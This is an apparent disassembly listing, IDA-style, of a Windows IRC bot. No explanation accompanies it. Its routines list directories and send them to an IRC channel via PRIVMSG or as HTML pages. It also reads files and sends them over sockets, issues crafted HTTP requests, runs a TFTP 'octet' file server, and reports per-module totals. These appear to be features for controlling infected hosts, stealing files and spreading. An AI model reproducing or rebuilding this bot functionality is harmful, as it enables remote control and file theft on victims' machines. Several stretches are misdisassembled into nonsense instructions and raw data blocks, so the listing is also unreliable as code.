		cmp	[ebp+14h], ebx
		jz	short loc_406588
		push	dword ptr [ebp+14h]
		call	sub_415CD0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406588
		push	dword ptr [ebp+14h]
		call	sub_415CD0
		sub	eax, 3
		pop	ecx
		jz	short loc_40653C


loc_406530:				; CODE XREF: seg000:0040653Aj
		mov	ecx, [ebp+14h]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40653C
		dec	eax
		jnz	short loc_406530


loc_40653C:				; CODE XREF: seg000:0040652Ej
					; seg000:00406537j
		inc	eax
		push	eax
		lea	eax, [ebp-594h]
		push	dword ptr [ebp+14h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-594h]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send


loc_406588:				; CODE XREF: seg000:00406512j
					; seg000:00406520j
		lea	eax, [ebp-388h]
		push	eax
		push	edi
		call	ds:dword_4210A8	; FindFirstFileA
		lea	ecx, [ebp-388h]
		mov	[ebp+8], eax
		push	ecx
		push	eax
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jz	loc_406979
		mov	edi, 1FFh


loc_4065B4:				; CODE XREF: seg000:00406973j
		cmp	[ebp-388h], ebx
		jz	loc_406961
		lea	eax, [ebp-35Ch]
		push	offset a__	; ".."
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406961
		lea	eax, [ebp-35Ch]
		push	offset a__0	; "."
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406961
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-374h]
		push	eax
		call	near ptr 3D0000h
		fisttp	qword ptr [ebp-72AF17BBh]
		inc	ebp
		loopne	near ptr loc_40665C+3
		call	near ptr 3D0000h
		or	[esi-75h], ah
		inc	ebp
		lock mov ecx, offset aPm ; "PM"
		cmp	ax, 0Ch
		ja	short loc_406629
		mov	ecx, offset aAm	; "AM"


loc_406629:				; CODE XREF: seg000:00406622j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_406635
		sub	eax, 0Ch


loc_406635:				; CODE XREF: seg000:00406630j
		push	ecx
		movzx	ecx, word ptr [ebp-0Eh]
		push	ecx
		push	eax
		movzx	eax, word ptr [ebp-18h]
		push	eax
		movzx	eax, word ptr [ebp-12h]
		push	eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		lea	eax, [ebp-48h]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4154CD
		add	esp, 20h


loc_40665C:				; CODE XREF: seg000:0040660Dj
		test	byte ptr [ebp-388h], 10h
		jz	loc_4067E2
		inc	dword ptr [ebp-8]
		cmp	[ebp+10h], ebx
		jz	short loc_4066B6
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 28h
		jmp	loc_406932
; ---------------------------------------------------------------------------


loc_4066B6:				; CODE XREF: seg000:0040666Fj
		cmp	[ebp+14h], ebx
		jz	loc_4067A0
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_415CD0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_406756
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40675B
; ---------------------------------------------------------------------------


loc_406756:				; CODE XREF: seg000:0040674Dj
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40675B:				; CODE XREF: seg000:00406754j
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_406923
; ---------------------------------------------------------------------------


loc_4067A0:				; CODE XREF: seg000:004066B9j
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp-490h]
		push	106h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-490h]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4067CD:				; CODE XREF: seg000:0040680Aj
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 24h
		jmp	loc_406932
; ---------------------------------------------------------------------------


loc_4067E2:				; CODE XREF: seg000:00406663j
		inc	dword ptr [ebp-4]
		cmp	[ebp+10h], ebx
		jz	short loc_40680C
		push	ebx
		push	dword ptr [ebp-368h]
		call	sub_40C1FC
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4067CD
; ---------------------------------------------------------------------------


loc_40680C:				; CODE XREF: seg000:004067E8j
		cmp	[ebp+14h], ebx
		jz	loc_40690C
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		lea	eax, [ebp-35Ch]
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+14h]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		lea	eax, [ebp-35Ch]
		push	eax
		call	sub_415CD0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp-35Ch]
		push	eax
		jbe	short loc_4068AC
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B1
; ---------------------------------------------------------------------------


loc_4068AC:				; CODE XREF: seg000:004068A3j
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B1:				; CODE XREF: seg000:004068AAj
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		mov	eax, [ebp-368h]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-48h]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp-248h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		jmp	short loc_406932
; ---------------------------------------------------------------------------


loc_40690C:				; CODE XREF: seg000:0040680Fj
		push	dword ptr [ebp-368h]
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-35Ch]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_406923:				; CODE XREF: seg000:0040679Bj
		lea	eax, [ebp-248h]
		push	eax
		call	sub_415A4A
		add	esp, 18h


loc_406932:				; CODE XREF: seg000:004066B1j
					; seg000:004067DDj ...
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		cmp	[ebp+10h], ebx
		jz	short loc_406961
		push	7D0h
		call	ds:dword_421060	; Sleep


loc_406961:				; CODE XREF: seg000:004065BAj
					; seg000:004065D5j ...
		lea	eax, [ebp-388h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	loc_4065B4


loc_406979:				; CODE XREF: seg000:004065A9j
		push	dword ptr [ebp+8]
		call	near ptr 3D0000h
		js	short loc_4069BC
		pop	ebp
		adc	[ebp+esi-75h], dh
		inc	ebp
		clc
		cdq
		push	edx
		push	eax
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp-4]
		cdq
		push	edx
		push	eax
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	dword ptr [ebp+10h]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	short loc_4069F0
; ---------------------------------------------------------------------------


loc_4069BC:				; CODE XREF: seg000:00406981j
		cmp	[ebp+14h], ebx
		jz	short loc_4069D6
		lea	eax, [ebp-248h]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_4069F0
; ---------------------------------------------------------------------------


loc_4069D6:				; CODE XREF: seg000:004069BFj
		push	dword ptr [ebp-8]
		lea	eax, [ebp-248h]
		push	dword ptr [ebp-4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_4069F0:				; CODE XREF: seg000:004069BAj
					; seg000:004069D4j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A16	proc near		; CODE XREF: seg000:0040609Dp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_421078	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406ACE
		push	esi
		push	ebx
		call	near ptr 3D0000h
		dec	ebx
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406AC7


loc_406A5B:				; CODE XREF: sub_406A16+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A78
		mov	edi, [ebp+arg_4]


loc_406A78:				; CODE XREF: sub_406A16+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4210AC	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_421068	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AC2
		call	ds:dword_43A30C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_406AC7
		xor	eax, eax


loc_406AC2:				; CODE XREF: sub_406A16+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A5B


loc_406AC7:				; CODE XREF: sub_406A16+43j
					; sub_406A16+A8j
		push	ebx
		call	ds:dword_42106C	; CloseHandle


loc_406ACE:				; CODE XREF: sub_406A16+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A16	endp


; =============== S U B	R O U T	I N E =======================================



sub_406AD3	proc near		; CODE XREF: sub_4060E4+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_415CD0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AFC


loc_406AE6:				; CODE XREF: sub_406AD3+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AF0
		mov	byte ptr [esi+edi], 2Fh


loc_406AF0:				; CODE XREF: sub_406AD3+17j
		push	edi
		inc	esi
		call	sub_415CD0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406AE6


loc_406AFC:				; CODE XREF: sub_406AD3+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406AD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B01	proc near		; CODE XREF: seg000:0040F90Ep

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_43A2F0	; WSAStartup
		push	6
		push	1
		push	2
		call	ds:dword_43A3F8	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_43A378	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A03F
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BDE
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B7A
		mov	eax, offset byte_438F9C


loc_406B7A:				; CODE XREF: sub_406B01+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_43A3C8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		pop	esi


loc_406BDE:				; CODE XREF: sub_406B01+6Bj
		push	ebx
		call	ds:dword_43A410	; closesocket
		call	ds:dword_43A2D8	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4154CD
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C1E
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_406C1E:				; CODE XREF: sub_406B01+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406B01	endp

; ---------------------------------------------------------------------------


loc_406C22:				; CODE XREF: seg000:loc_40710Dp
		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+8]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp-1Ch]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp-37Ch]
		push	ebx
		push	2
		rep movsd
		inc	dword ptr [ebp-16Ch]
		push	2
		mov	[ebp-0Ch], eax
		mov	[edx+2A0h], eax
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short near ptr loc_406CE4+1
		push	190h
		call	ds:dword_421060	; Sleep
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_427284
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-0E0h], ebx
		jnz	short loc_406CC5
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_412D32
		add	esp, 14h


loc_406CC5:				; CODE XREF: seg000:00406CA0j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-170h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_406CE4:				; CODE XREF: seg000:00406C72j
		mov	eax, cs:[ebp-170h]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43F514[eax], edi
		lea	eax, [ebp-44h]
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	dword ptr [ebp-168h]
		call	ds:dword_43A378	; ntohs
		mov	[ebp-42h], ax
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-40h], ebx
		call	ds:dword_43A3A4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D4A
		push	1388h
		call	ds:dword_421060	; Sleep
		dec	dword ptr [ebp-16Ch]
		push	dword ptr [ebp+8]
		jmp	loc_40710D
; ---------------------------------------------------------------------------


loc_406D4A:				; CODE XREF: seg000:00406D2Fj
		lea	eax, [ebp-378h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BC8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-8], eax
		jnz	short near ptr loc_406DC7+1
		push	190h
		call	ds:dword_421060	; Sleep
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_427234
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_412D32
		lea	eax, [ebp-780h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-170h]
		call	sub_415295
		add	esp, 28h
		push	ebx
		call	near ptr 3D0000h


loc_406DC7:				; CODE XREF: seg000:00406D62j
		sar	dword ptr [esi+200h], 8Bh
		inc	ebp
		or	[ecx], bh
		cwde
		mov	al, ds:0F000002h
		test	dh, cl
		add	al, [eax]
		add	[ecx-87F43h], cl
; ---------------------------------------------------------------------------
		db 0FFh, 0BFh, 80h
dword_406DE4	dd 57000000h, 0FF28858Dh, 5053FFFFh, 5CC45C7h, 0C7000000h
		dd 1388D045h, 85C70000h, 0FFFFF77Ch, 1,	0E743E8h, 0CC48300h
		dd 50CC458Dh, 7C858D53h, 53FFFFF7h, 15FF5350h, 43A360h
		dd 8E0FC085h, 295h, 438F9CA0h, 88CF8B00h, 0FFFA8085h, 8DC033FFh
		dd 0FFFA81BDh, 0FC45C7FFh, 10h,	0AB66ABF3h, 0F07D8BAAh
		dd 50FC458Dh, 50D4458Dh, 28858D53h, 68FFFFFFh, 80h, 15FF5750h
		dd 43A350h, 89D875FFh, 15FFF445h, 43A404h, 0A8458D50h
		dd 0E64BE850h, 9D380000h, 0FFFFFF28h, 850F5959h, 21Bh
		dd 0FF29BD80h, 0F01FFFFh, 15A85h, 8C858D00h, 50FFFFFDh
		dd 0EE27E8h, 5848D00h, 0FFFFFF2Bh, 8DEC4589h, 0FFFD8C85h
		dd 11E850FFh, 500000EEh, 0FF2A858Dh, 8D50FFFFh,	0FFFD8C85h
		dd 0DDE850FFh, 830000FFh, 0C08514C4h, 0D3850Fh,	458D0000h
		dd 0E9E850E4h, 500000EDh, 0FFE4458Dh, 0E850EC75h, 0FFBCh
		dd 8510C483h, 0B2850FC0h, 53000000h, 0F875FF53h, 0FF15E8h
		dd 0F875FF00h, 0FA84858Dh, 9D88FFFFh, 0FFFFFA80h, 0FA8185C6h
		dd 5603FFFFh, 8850016Ah, 0FFFA829Dh, 8385C6FFh,	1FFFFFAh
		dd 0FC5BE8h, 1CC48300h,	89D44D8Dh, 0C083F445h, 0FC75FF04h
		dd 8D505351h, 0FFFA8085h, 0FF5750FFh, 43A3DC15h, 88858D00h
		dd 50FFFFFCh, 50A8458Dh, 4271E068h, 80858D00h, 50FFFFF8h
		dd 0E55CE8h, 10C48300h,	0FF209D39h, 2375FFFFh, 80858D53h
		dd 0FFFFFFF8h, 0FFFF1CB5h, 858D50FFh, 0FFFFFE9Ch, 84B5FF50h
		dd 0E8FFFFFCh, 0BD96h, 8D14C483h, 0FFF88085h, 0A6E850FFh
		dd 59000041h, 110E9h, 0FC75FF00h, 50D4458Dh, 68136A53h
		dd 4271CCh, 0DC15FF57h,	8D0043A3h, 0FFFD8C85h, 458D50FFh
		dd 858D50A8h, 0FFFFFF28h, 42719068h, 0EAE85000h, 8D0000E4h
		dd 0FFFF2885h, 62E850FFh, 83000041h, 0CAE914C4h, 80000000h
		dd 0FFFF29BDh, 850F04FFh, 0A7h,	0FF2B8D8Ah, 858AFFFFh
		dd 0FFFFFF2Ah, 88FFF980h, 0FFFA809Dh, 8185C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA82h, 0FA839D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA82h, 0FA838D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 0E0C153C1h, 50C62B09h, 0E8F875FFh,	0FDC2h
		dd 8DF875FFh, 0FFFA8485h, 16A56FFh, 0FB22E850h,	0C4830000h
		dd 8DF88B1Ch, 7D89D445h, 0FC75FFF4h, 4478D50h, 858D5053h
		dd 0FFFFFA80h, 0F075FF50h, 0A3DC15FFh, 0FB3B0043h, 858D2B75h
		dd 0FFFFFC88h, 0A8458D50h, 71406850h, 0BAE90042h, 0FFFFFFFEh
		dd 458DFC75h, 6A5350D4h, 71346809h, 0FF570042h,	43A3DC15h
		dd 0F45D3900h, 0FF07D8Bh, 0FFFD008Fh, 15FF57FFh, 43A410h
		dd 0E8F875FFh, 0EA44h, 0FF08758Bh, 0FFFE948Dh, 9E3959FFh
		dd 2A0h, 0B5FF1375h, 0FFFFFE90h, 0E19CE8h, 0E8535900h
		dd 0FFFC8F00h, 3E868FBh, 15FF0000h, 421060h
; ---------------------------------------------------------------------------
		push	esi


loc_40710D:				; CODE XREF: seg000:00406D45j
		call	loc_406C22
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407119	proc near		; CODE XREF: seg000:004125D4p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4276A4
		push	eax
		xor	ebx, ebx
		call	sub_4154CD
		cmp	ds:dword_427300, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_407187
		push	esi
		mov	esi, offset dword_427308


loc_40714C:				; CODE XREF: sub_407119+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416EF0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40714C
		pop	esi


loc_407187:				; CODE XREF: sub_407119+2Bj
		push	ds:dword_4687F8
		call	sub_40A996
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416EF0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407119	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071E3	proc near		; CODE XREF: seg000:00411F41p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_40721F
		mov	eax, [ebp+arg_C]
		push	ds:dword_438FC8[eax*8]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427710
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	short loc_407232
; ---------------------------------------------------------------------------


loc_40721F:				; CODE XREF: sub_4071E3+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4276DC
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_407232:				; CODE XREF: sub_4071E3+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		add	esp, 18h
		leave
		retn
sub_4071E3	endp

; ---------------------------------------------------------------------------


loc_40725A:				; CODE XREF: sub_407983+4Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075EA
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_42730C[eax], ebx
		jz	loc_4074CB
		push	4
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	loc_4075EA
		mov	eax, ds:dword_42C150
		push	edi
		mov	edi, offset dword_439944
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_439B54, eax
		mov	ds:dword_439B50, ebx
		call	near ptr 3D0000h
		mov	bl, 68h
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		db 0
		dd 9A48BE00h, 0B8680043h, 560042C1h, 0FA53E8h, 18858B00h
		dd 83000001h, 9D380CC4h, 98h, 439940A3h, 40858B00h, 6A000001h
		dd 9BD8A37Fh, 1D750043h, 5018458Dh, 439B5868h, 0FA22E800h
		dd 0C4830000h, 0DC05C70Ch, 100439Bh, 0EB000000h, 98858D1Ah
		dd 50000000h, 439B5868h, 0FA02E800h, 0C4830000h, 0DC1D890Ch
		dd 5600439Bh, 5435FF57h, 8D00439Bh, 0FFFDFC85h,	78BC68FFh
		dd 0E8500042h, 0E18Dh, 0FC858D53h, 6AFFFFFDh, 2AE85004h
